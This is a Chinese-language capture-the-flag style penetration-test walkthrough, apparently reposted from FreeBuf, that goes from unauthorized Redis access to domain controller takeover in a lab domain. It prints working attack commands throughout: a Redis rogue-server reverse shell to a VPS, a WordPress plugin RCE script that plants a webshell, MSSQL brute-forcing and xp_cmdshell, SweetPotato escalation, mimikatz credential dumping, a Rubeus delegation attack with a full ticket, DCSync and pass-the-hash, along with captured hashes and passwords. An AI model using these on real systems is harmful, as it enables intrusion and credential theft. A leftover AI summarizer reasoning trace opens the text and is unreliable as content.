从Redis未授权到拿下域控
嗯,用户让我总结这篇文章的内容,控制在100字以内,而且不需要特定的开头。首先,我得通读整篇文章,抓住主要步骤和关键点。 文章开始讲的是利用fscan进行网段扫描,发现了FTP和Redis的未授权访问。然后通过Redis提权,使用了特定的脚本和工具。拿到权限后,内网扫描发现了多个服务,包括MSSQL、FTP、WordPress等。 接着利用WordPress的漏洞注入webshell,进一步提权和信息收集。之后通过fscan爆破MSSQL密码,成功登录并使用工具提权到system。然后抓取hash进行约束委派攻击,最终拿下域控并获取flag。 总结的时候要涵盖这些关键步骤:扫描、Redis提权、内网扫描、WordPress漏洞、提权、MSSQL爆破、约束委派攻击和域控拿下。确保在100字以内简洁明了。 </think> 文章描述了一次网络安全渗透测试的过程,包括利用fscan进行网段扫描发现未授权访问的FTP和Redis服务,通过Redis提权并内网扫描发现多个服务(如MSSQL、FTP、WordPress等),利用WordPress漏洞注入webshell并进一步提权和信息收集。最终通过fscan爆破MSSQL密码、使用工具提权至system权限,并利用约束委派攻击获取域控权限,成功获取目标系统的flag。 2026-3-5 02:37:57 Author: www.freebuf.com(查看原文) 阅读量:1 收藏

首先我们利用fscan进行网段扫描。

fscan下载链接:https://github.com/shadow1ng/fscan/releases/

1772676466_69a8e572818485aaed8d9.png!small

这里存在一个FTP未授权访问,还存在一个Redis未授权,我们需要拿权限,只能通过Redis入手。

拿到Redis如何利用,这里给一篇文章:https://www.freebuf.com/articles/web/249238.html

利用MDUT工具,进行连接。

1772676487_69a8e587f086cbda38bf6.png!small

第一个尝试计划任务写shell。

1772676548_69a8e5c4eb752ce68443d.png!small计划任务,替换公钥都失败了,这里尝试主从复制getshell。

利用脚本如下:https://github.com/n0b0dyCN/redis-rogue-server,这里将脚本下载到公网VPS运行脚本。

python3 redis-rogue-server.py --rhost 39.98.117.166 --lhost 124.122.11.4
--rhost     redis服务器ip
--lhost     vps

1772676620_69a8e60c001508e166a30.png!small

成功反弹过来shell。

1772676649_69a8e6295899e2697d309.png!small

拿到shell之后,我们需要输入下面的命令,创建一个伪终端。

python -c 'import pty; pty.spawn("/bin/bash")'

1772676667_69a8e63b4ca3d0418774d.png!small

找到了flag,但是提示权限不够。

1772676685_69a8e64d6439c6e661da9.png!small

这里我们尝试suid提权,发现base64,查找利用方式,然后成功拿到flag01:

find / -prem -u=s -type f 2>/dev/null
base64 "/home/redis/flag/flag01" | base64 --decode

1772676711_69a8e6670a8167b5534a0.png!small

flag{54754c1f-66e6-45a0-a87f-c0d331a53922}

通过vshell中的linux一句话上线命令,成功上线。

1772676762_69a8e69a9f9845223dc94.png!small1772676778_69a8e6aa54d8fb1a218fa.png!small执行 ifconfig,查看网段 172.22.2.7。

1772676807_69a8e6c79834736239d89.png!small

上传fscan进行内网扫描,扫描结果如下。

[redis@centos-web01 tmp]$ ./fscan32 -h 172.22.2.7/24

   ___                              _    
  / _ \     ___  ___ _ __ __ _  ___| | __ 
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <    
\____/     |___/\___|_|  \__,_|\___|_|\_\   
                     fscan version: 1.8.4
start infoscan
trying RunIcmp2
The current user permissions unable to send icmp packets
start ping
(icmp) Target 172.22.2.7      is alive
(icmp) Target 172.22.2.3      is alive
(icmp) Target 172.22.2.34     is alive
(icmp) Target 172.22.2.16     is alive
(icmp) Target 172.22.2.18     is alive
[*] Icmp alive hosts len is: 5
172.22.2.16:1433 open
172.22.2.16:445 open
172.22.2.34:445 open
172.22.2.18:445 open
172.22.2.3:445 open
172.22.2.16:139 open
172.22.2.34:139 open
172.22.2.18:139 open
172.22.2.3:139 open
172.22.2.34:135 open
172.22.2.16:135 open
172.22.2.3:135 open
172.22.2.7:6379 open
172.22.2.16:80 open
172.22.2.18:80 open
172.22.2.18:22 open
172.22.2.7:80 open
172.22.2.7:22 open
172.22.2.7:21 open
172.22.2.3:88 open
[*] alive ports len is: 20
start vulscan
[*] NetInfo 
[*]172.22.2.16
   [->]MSSQLSERVER
   [->]172.22.2.16
[*] NetInfo 
[*]172.22.2.34
   [->]CLIENT01
   [->]172.22.2.34
[*] NetInfo 
[*]172.22.2.3
   [->]DC
   [->]172.22.2.3
[*] WebTitle http://172.22.2.7         code:200 len:4833   title:Welcome to CentOS
[*] NetBios 172.22.2.34     XIAORANG\CLIENT01             
[*] WebTitle http://172.22.2.16        code:404 len:315    title:Not Found
[*] NetBios 172.22.2.18     WORKGROUP\UBUNTU-WEB02        
[*] NetBios 172.22.2.3      [+] DC:DC.xiaorang.lab               Windows Server 2016 Datacenter 14393
[*] NetBios 172.22.2.16     MSSQLSERVER.xiaorang.lab            Windows Server 2016 Datacenter 14393
[*] OsInfo 172.22.2.3   (Windows Server 2016 Datacenter 14393)
[*] OsInfo 172.22.2.16  (Windows Server 2016 Datacenter 14393)
[+] ftp 172.22.2.7:21:anonymous 
   [->]pub
[*] WebTitle http://172.22.2.18        code:200 len:57738  title:又一个WordPress站点
已完成 20/20
[*] 扫描结束,耗时: 12.909113357s

存在域控,是172.22.2.3。

存在MSSQLSERVER,是172.22.2.16

存在ftp未授权,是172.22.2.7

存在WordPress站点,是172.22.2.18

我们利用vshell将流量代理出来,用kali里面的wpscan扫一下,查看是否有漏洞。

1772676830_69a8e6decda6150b97ad7.png!small

首先配置proxychains4.conf配置文件。

1772676850_69a8e6f227897f30b263a.png!small

接着利用命令。

proxychains4 -f /etc/proxychains4.conf wpscan --url http://172.22.2.18

这里-f参数显示指定配置文件。

1772676924_69a8e73c98100df802406.png!small直接网上查找相关rce文章,文章给出了利用脚本。

文章链接:https://wpscan.com/vulnerability/5c21ad35-b2fb-4a51-858f-8ffff685de4a/

import sys
import binascii
import requests

# This is a magic string that when treated as pixels and compressed using the png
# algorithm, will cause <?=$_GET[1]($_POST[2]);?> to be written to the png file
payload = '2f49cf97546f2c24152b216712546f112e29152b1967226b6f5f50'

def encode_character_code(c: int):
    return '{:08b}'.format(c).replace('0', 'x')

text = ''.join([encode_character_code(c) for c in binascii.unhexlify(payload)])[1:]

destination_url = 'http://127.0.0.1:8001/'
cmd = 'ls'

# With 1/11 scale, '1's will be encoded as single white pixels, 'x's as single black pixels.
requests.get(
    f"{destination_url}wp-content/plugins/wpcargo/includes/barcode.php?text={text}&sizefactor=.090909090909&size=1&filepath=/var/www/html/webshell.php"
)

# We have uploaded a webshell - now let's use it to execute a command.
print(requests.post(
    f"{destination_url}webshell.php?1=system", data={"2": cmd}
).content.decode('ascii', 'ignore'))

配置Proxifier,成功代理流量到本地。

1772676967_69a8e7671af7972441348.png!small

1772676990_69a8e77e48a8629c5c23c.png!small

成功访问到网站。

1772677003_69a8e78be8015eb6e1a98.png!small

运行 exp,成功注入 webshell。

1772677017_69a8e79929f94dd07eaac.png!small

使用蚁剑进行连接,连接蚁剑,注意类型要选择 cmdLinux,还需要配置代理。

1772677035_69a8e7ab44873d60a8409.png!small

1772677055_69a8e7bf51da88637012b.png!small

找到config文件。查看得到数据库用户和密码。

1772677066_69a8e7caa75589be639d8.png!small

navcat连接不上,只能使用蚁剑自己的工具进行连接。

1772677080_69a8e7d8b3a2acf83d3de.png!small

利用蚁剑数据库连接成功(wpuser/WpuserEha8Fgj9)。

1772677094_69a8e7e6da5fcd11379f4.png!small

成功找到flag。

发现数据库中还有一些类似与password的字段,我们将所有字段进行导出,并且内网中的所有系统进行密码碰撞。

通过前面fscan信息收集,我们知道172.22.2.16主机存在mssql服务,并且开放了1433端口,那么我们可以利用超级弱口令工具进行一下密码碰撞。

在这里需要执行上述sql语句,才能把所有的密码正确的显示。

SELECT * FROM `S0meth1ng_y0u_m1ght_1ntereSted` ORDER BY 1 DESC LIMIT 0,1000;

1772677114_69a8e7fae034367c3156c.png!small利用fscan进行sqlserver的密码爆破。

./fscan32 -h 172.22.2.16 -m mssql -pwdf 1.txt

1772677132_69a8e80c9e70f7ca68c72.png!small

sqlserver的账号和密码分别是(sa/ElGNkOiC)。

然后利用MDUT连接上去。

1772677143_69a8e817009a8363c6ab8.png!small

这里选择xp-cmdshell,下面会显示激活组件成功。

1772677155_69a8e8233a62f1bbb9858.png!small

然后就可以执行命令了。

1772677168_69a8e8303064512182caa.png!small

首先机器不出网,不能反弹shell到我们的服务器,而且权限太低,不能查看网络连接。

1772677184_69a8e840437cf1f3dc7e0.png!small

我们使用SweetPotato进行提权。

这里需要先激活Ole Automation Procedures组件,再上传SweetPotato.exe提取,直接得到system权限。

土豆提权工具下载链接:https://github.com/uknowsec/SweetPotato

1772677196_69a8e84ce9fb8ca883e2d.png!small

工具上传成功。

1772677209_69a8e859132ea0f3ab122.png!small

C:/Users/Public/SweetPotato.exe -a "whoami"

成功得到 system 权限。

1772677225_69a8e8697d9050bef08d1.png!small

windows查看网络连接netstat -ano,发现3389端口打开,可以进行远程登录。

C:/Users/Public/SweetPotato.exe -a "netstat -ano"

1772677238_69a8e876044ee3bfcf870.png!small这里打开了3389端口,并且显现提权到了管理员权限,那我们就可以尝试添加新的用户,并将其添加到管理员组,让然后远程到桌面。

C:/Users/Public/SweetPotato.exe -a "net user xdd 123Xdd! /add"
C:/Users/Public/SweetPotato.exe -a "net localgroup administrators xdd /add"

添加成功,尝试远程到桌面。

1772677257_69a8e889b866bed02ba17.png!small

成功拿到flag03。

1772677272_69a8e8981cb9a9b445661.png!small

对服务器进行信息收集,执行systeminfo,发现存在域环境。

1772677292_69a8e8acac660ce1d053f.png!small接着我们上传mimikatz抓取hash。

这里注意需要以管理员权限运行mimikatz。

常用组合命令
privilege::debug
sekurlsa::logonpasswords

privilege::debug

尝试将当前 Mimikatz 进程提升为“调试权限”(SeDebugPrivilege),这样它就可以访问其他高权限进程的内存,尤其是 LSASS(Local Security Authority Subsystem Service)进程。

如果没有这个权限,就无法读取包含密码和票据信息的 LSASS 内存。
正常用户没有该权限,只有 管理员(或 SYSTEM)权限的进程才能成功执行。
sekurlsa::logonpasswords

从内存中(通常是 lsass.exe)提取当前或已登录用户的:明文密码(如果可用),哈希(NTLM),
Kerberos 票据(TGT、TGS), 凭据缓存(Cached Credentials), 远程桌面/网络登录凭据等。

1772677303_69a8e8b7eb06504c92b77.png!small

拿到了NTLM哈希为109fc2dde2e0310758e01f194f0d078c。

这里使用约束委派攻击,首先MSSQLSERVER机器配置了到DC LDAP和CIFS服务的约束性委派。

首先通过Rubeus申请机器账户MSSQLSERVER的TGT,执行后,将得到Base64加密后的TGT票据。

Rubeus.exe下载链接:https://github.com/GhostPack/Rubeus/

这里下载需要编译,具体编译步骤如下:

  • 安装Visual Studio 2019 Community Edition(需包含.NET 桌面开发工作负载)。
  • 确保系统安装目标.NET版本(默认.NET3.5,也可以切换至.NET4/4.5)。
  • 下载源码,打开 Visual Studio 2019,通过文件 > 打开 > 项目/解决方案,选择 Rubeus 源码目录下的Rubeus.sln解决方案文件。
  • 在 Visual Studio 顶部菜单栏,将编译配置从Debug切换为Release(发布版体积更小、性能更好)。
  • 右键点击解决方案资源管理器中的Rubeus项目,选择生成(或按Ctrl+Shift+B)。
  • 编译完成后,EXE 文件会生成在Rubeus\bin\Release\目录下(默认文件名Rubeus.exe)。
  • 注意编译时需要将.NET版本切换到3.5+,否在在真实环境中会报错。
Rubeus.exe asktgt /user:MSSQLSERVER$ /rc4:109fc2dde2e0310758e01f194f0d078c /domain:xiaorang.lab /dc:DC.xiaorang.lab /nowrap

1772677318_69a8e8c66f044e9c2fa39.png!small

然后使用S4U2Self扩展代表域管理员Administrator请求针对域控LDAP服务的票据,并将得到的票据传递到内存中。

Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:LDAP/DC.xiaorang.lab /dc:DC.xiaorang.lab /ptt /ticket:doIFmjCCBZagAwIBBaEDAgEWooIEqzCCBKdhggSjMIIEn6ADAgEFoQ4bDFhJQU9SQU5HLkxBQqIhMB+gAwIBAqEYMBYbBmtyYnRndBsMeGlhb3JhbmcubGFio4IEYzCCBF+gAwIBEqEDAgECooIEUQSCBE1Z8opxrclQTgZdEh7CCnvKvFOm3Q7c/hc+5SSE6cXEkABzntvCddYnnxJKoOQdzdgJexzPzrGAxlaBkpAQEVAqcThOB1iXuFeEFIH/O7ZlSjCwRDHZoq8lwLHtRaB874R9LOh61O4Z3e0I5tgZU8iWZUO3BY4rQHMMcTbk18rcDJkAxCjVG6RHgHUYBZDJ61wr6VmoIEtpxDRzp85l58SP6QITIZ59Axa9gCgrtyrAJkCL3o7qAtwQP99x1kTDrcsnnt4yA0ZhgHgwNF1DHoMtPciL0ks5Zvv4pdyP7efIPB50oTyJMD2gMi42I3z7JWa8baJiY6UPXPl+Yuvlat6bR5gSGSrUQr4ByT1QEi5zOmflq4Yl0WFFDBzOu74Sxj9n/yplMgn2JMJuFx1TKEZeHsSUbIFu3e3m/6Ze4RTmaaiW9dxCXN2QoX2W7HSPzWTjawLt0udInlJhuBs9xVECs1UD/2opp0A29htBRElbmE4DKEus4s9ADXSYgzW0yooMJYL1FICenrSRhCbs/LW7S4aX4uJMIUmk/yj3n6zj5INplbut2Km16Kbiq6gUMmFATHkftrqJ/NXXH8HRk6JCBhydpHrUzdsQdY0Hcv93LevxQZXIMxelhPsRr33Sh/cEbthooAb4QzJLRfUP068l/V+J01MRhkoxRibvU2GNc2JX/3GFb4XCSw1SdJbbuSOJf+7jbDs1dQbxgC8RTOHWSzGjAFL0sVZqB5p9Wexkj5wQjFiDduA06SjE9XPHHtXtLOdQkdswFUYArOsaBN/h0WibcZbTHjjMXae6dHytGksJWaxnG5haUE8Bf7kvf2Do+9hT2McnPNuqPgN0YBin/tMBrXgAIl63YGho1U+qJkoq9klqo4DFRc7iED8bELfiuczgHfXB/BCpTQLKh5BFU6zasaMD4I10m34oW7UmKPNNGCdFFjM9q5v2n/Nhkiz+fdWw14P5LjXvrLMF8p9XF7Xd1+oK4YJu9W552Oy+LREWOQYwlrhHTALdZ2j3Te973nxE8tcD8SmVkpbiV7E4MlkVy/hR2x/1tRHjX0DaLvYK0+P+i1HpX9nl+oXNhm2o6uiJlyTgLw1kt62wOclDgyPDOJwr26++Y/0Iloiq0vtzvsNhhJAdcp0nCDHqkRf7irmO58FrRZ1DsWDd8eyJZmFBZEghp/tuZ471hs2tHyXDnoPhke6Yy3GfdVyG4eadWTgN7ZcsHdMQDjPCoHIfurbw/4KEDyjGFxzINlxajIanHkU+vTaFHpd0elc54Gm8b6er2cLljJAAkDKQ1qZShIp7H1SBRPnPRGWA3BhqxweAJMYolmIPbcfgXHgnLJ5oL802Y331ty+2hx4K9mGCKTkyZz6NI/y6BrWmY0TFK3Kt737skCatUfmASpoeNBSQrG7vKlp33nOxih10gejsWfWWlbw6VKwgf+yv8CtazSNUhJY0NtukvWszxrCjgdowgdegAwIBAKKBzwSBzH2ByTCBxqCBwzCBwDCBvaAbMBmgAwIBF6ESBBACsPQgpUVC8IJ9cyXTlSZLoQ4bDFhJQU9SQU5HLkxBQqIZMBegAwIBAaEQMA4bDE1TU1FMU0VSVkVSJKMHAwUAQOEAAKURGA8yMDI2MDIyODA2NDgyNlqmERgPMjAyNjAyMjgxNjQ4MjZapxEYDzIwMjYwMzA3MDY0ODI2WqgOGwxYSUFPUkFORy5MQUKpITAfoAMCAQKhGDAWGwZrcmJ0Z3QbDHhpYW9yYW5nLmxhYg==

1772677334_69a8e8d6e05fb70d4aa43.png!small

LDAP服务具有DCSync权限,导出域内用户的Hash。

mimikatz.exe "lsadump::dcsync /domain:xiaorang.lab /user:Administrator" exit

1772677348_69a8e8e4b4c12f3fe97f0.png!small此时就获取到了管理员的哈希1a19251fbd935969832616366ae3fe62。

此时利用WMI横向,得到域管的哈希后我们可以通过WMI服务登录域控。

python wmiexec.py -hashes 00000000000000000000000000000000:1a19251fbd935969832616366ae3fe62 [email protected]

还有另一种方法,直接通过哈希传递就能拿下域控,这里使用crackmapexec来进行PTH。

proxychains4 -f /etc/proxychains4.conf crackmapexec smb 172.22.2.3 -u administrator -H1a19251fbd935969832616366ae3fe62 -d xiaorang.lab -x "type Users\Administrator\flag\flag04.txt"

参考文章:https://xz.aliyun.com/news/6813


文章来源: https://www.freebuf.com/articles/defense/472408.html
如有侵权请联系:admin#unsafe.sh